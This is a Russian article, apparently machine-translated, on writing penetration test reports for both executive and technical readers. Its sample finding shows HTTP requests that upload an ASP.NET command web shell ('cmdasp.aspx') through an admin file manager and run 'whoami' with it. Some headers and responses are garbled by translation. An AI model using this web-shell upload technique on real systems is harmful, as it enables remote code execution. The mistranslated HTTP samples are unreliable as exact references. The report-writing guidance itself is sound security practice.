Опытный пентестер, он знает, что хорошо написанный отчет характеризуется тем, что после его представления у клиента не возникает никаких дополнительных вопросов. Для этого он должен содержать не менее четырех основных разделов с информацией для разных аудиторий.
Раздел 1: Общая информация и статистика
В то время как программисту для исправления ошибок могут потребоваться все технические детали, руководство может не понимать используемые технологии и специализированную лексику. Вместо этого они должны понимать бизнес-риск. Бизнес-лидерам необходимо понимать, что поставлено на карту, чтобы принимать обоснованные решения для своих компаний. Доступное резюме информации, содержащейся во всем отчете, необходимо для обеспечения правильного понимания рисков, связанных с обливанием. Кроме того, первый раздел должен содержать официальную информацию, т.е. информацию о том, что тестировалось и с какими разрешениями, когда это тестировалось, кто принимал участие в испытаниях, по чьему порядку проводились испытания. На рисунке ниже показаны примеры таблиц с этой информацией.
Протестированное приложение | SXXX dXXX http://XXXXX |
Протестированные роли | администратор, пользователь |
Дата тестирования | 30.10.2017 – 13.12.2017 |
Место тестирования | Вроцлав (удаленный) |
основной | МартинXXXX |
Тестировщик и автор отчета | Михал Кендзьор |
Версия документа | 1.0 (15.12.2017) |
Визуальная коммуникация также может быть полезна для четкой передачи обнаруженных ошибок безопасности. Используйте все виды диаграмм и подобных графических элементов, чтобы визуализировать массовые данные.
При оценке рисков следует соблюдать:
риск = опасность * вероятность возникновения * влияние на бизнес.
Если опасность — это общий риск, связанный с конкретной уязвимостью. Вероятность возникновения означает, насколько трудно воспользоваться ошибкой безопасности. Влияние на бизнес определяет потери, связанные с использованием злоумышленником ошибки. На следующем рисунке приведена таблица, полезная для оценки риска возникновения данных об уязвимости. Например, если угроза высока и уязвимость очень легко эксплуатировать (уязвимость) — C и воздействие среднее — Medium, мы получаем в общей сложности 24 балла, что означает, что уязвимость имеет средний риск. На другом рисунке показано, как визуализировать количество обнаруженных уязвимостей.
На основе оценки риска получатель отчета должен сначала исправить наиболее критические ошибки. Они представляют наибольшую угрозу для бизнеса и могут привести к высоким финансовым потерям.
Раздел 2: Описание обнаруженных уязвимостей
В большинстве отчетов о тестах на проникновение используется какая-то система оценки рисков, но редко можно уделить время объяснению рисков, связанных с данной уязвимостью. Клиент должен быстро и точно принять решение о том, какие шаги предпринять после получения информации о существующих ошибках безопасности. Это часто связано с необходимостью дополнительного бюджета, который требует утверждения со стороны нетехнических должностных лиц высокого уровня.
Чтобы упростить принятие сложных решений, опишите обнаруженные уязвимости таким образом, чтобы они показали влияние на ваш бизнес. Например, если обнаружена критическая уязвимость, которая может привести к переносу любых файлов на портал здравоохранения, можно сообщить об этом двумя способами:
- Технически точно — веб-приложение X не ограничивает передачу файлов по типу, создавая уязвимость, которая может позволить злоумышленнику удаленно выполнить код и повысить привилегии приложения.
- Как точное, так и контекстуальное — веб-приложение X не ограничивает передачу файлов по типам файлов, создавая уязвимость, которая может позволить злоумышленнику удаленно выполнить нежелательный код и повысить свои привилегии в приложении. В этом случае злоумышленник может просматривать медицинские записи любого пользователя и выступать в качестве администратора в приложении.
Второй способ имеет больший вес, указывая не только на технические аспекты, но и на влияние на бизнес. Наиболее ценными докладами являются те, которые обращаются ко всем аудиториям на языке, который понимают люди, особенно на руководящих должностях.
Раздел 3: Рекомендации по ремонту
Одной из самых важных вещей, от которых зависит заказчик, который заказывает тесты на проникновение, является последующее исправление обнаруженных уязвимостей безопасности. Чтобы сделать это возможным, тестер проникновения должен указать, помимо описания обнаруженных уязвимостей, как исправить или мифить о рисках, связанных с обнаруженными ошибками. Этот раздел в первую очередь предназначен для людей с техническим образованием, которые непосредственно связаны с кодом приложения, конфигурацией сервера или базой данных. Полезно добавить дополнительные ссылки на внешние источники, описывающие, как исправить найденные ошибки безопасности. На следующем рисунке показана ошибка отображения подробных конфиденциальных сведений. Эти данные часто включают техническую информацию, классы, методы, которые вызвали ошибку, точную версию сервера или системные пути приложений и конфигурационных файлов.
Ниже приведен пример рекомендации для ошибки, в котором отображаются подробные сведения об ошибке.
Раздел 4: Технические сведения об уязвимостях
Последний раздел должен содержать технические сведения об обнаруженных уязвимостях. Разработчикам особенно полезно понять, что такое ошибка и как реконструировать шаги, необходимые для ее выполнения. Это особенно полезно, если необходимо найти источник проблемы и впоследствии убедиться, что метод восстановления эффективен.
Ниже приведено подробное техническое описание уязвимости загрузки любого файла на сервер.
На сервере на сервере/Content/Roxy_Fileman/ есть просмотрщик файлов, который позволяет вошедшим в систему пользователям с соответствующими разрешениями (проверенной учетной записью администратора) загружать их (включая скрипты, выполняющие команды в системе):
Запрос с загрузкой на сервер скрипта, выполняющего команды в системе:
POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Хост: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/Content/Roxy_Fileman/
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Подключение: close
Cache-Control: max-age=0
Тип содержимого: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload -----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="d" -----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Тип содержимого: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
Ответ сервера с успешной отправкой скрипта ответа:
POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Хост: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Пт, 09-Ноя-2018 16:53:07 GMT; path=/; path=/; HttpOnly
X-Powered-By: ASP.NET
Дата: Чт, 09 Ноя 2017 16:53:07 GMT
Соединение: закрыть
Длина контента: 60
К загруженной ресурсу можно получить доступ без авторизации на сервере/медиа/загруженном/имени файла
Запрос к серверу с командой на выполнение – whoami отображает текущего пользователя системы:
POST /media/uploaded/cmdasp.aspx HTTP/1.1
Хост: XXXXX
User-Agent: Mozilla/5.0 (X11; x86_64 Linux; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/media/uploaded/cmdasp.aspx
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Подключение: закрыть
Тип содержимого: приложение/x-www-form-urlencoded
Длина содержимого: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELw WmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute
Ответ сервера, подтверждающий выполнение команды:
Механизм загрузки файлов определен по следующим адресам:
- /Admin/Счет/Счет-фактураРедакт
- /Admin/Счет/Счет-фактура
- /Admin/Newsletter/GroupSubscriptionsList
- /Admin/Информационный бюллетень/Список подписок
- /Content/Roxy_Fileman/index.html
Ошибки безопасности никогда не будут полностью устранены. Они появляются как в продуктах Microsoft, несмотря на реализацию процесса жизненного цикла разработки безопасности (который включает в себя различные тесты безопасности и аудиты исходного кода), так и в ядре Linux.Их можно найти как в проектах с открытым исходным кодом, так и в тех, где код закрыт. Важным моментом является то, что отсутствие выявления восприимчивости при проведении тестов на проникновение не является синонимом того, что их нет. Это означает лишь то, что в ограниченное время и используя определенные средства, знания и опыт, пентестер не смог их найти. Тем не менее, глядя на результаты тестов на проникновение, можно сделать выводы относительно качества приложения, или, что более важно, в случае обнаруженных ошибок выяснить, какие риски они влекут за собой.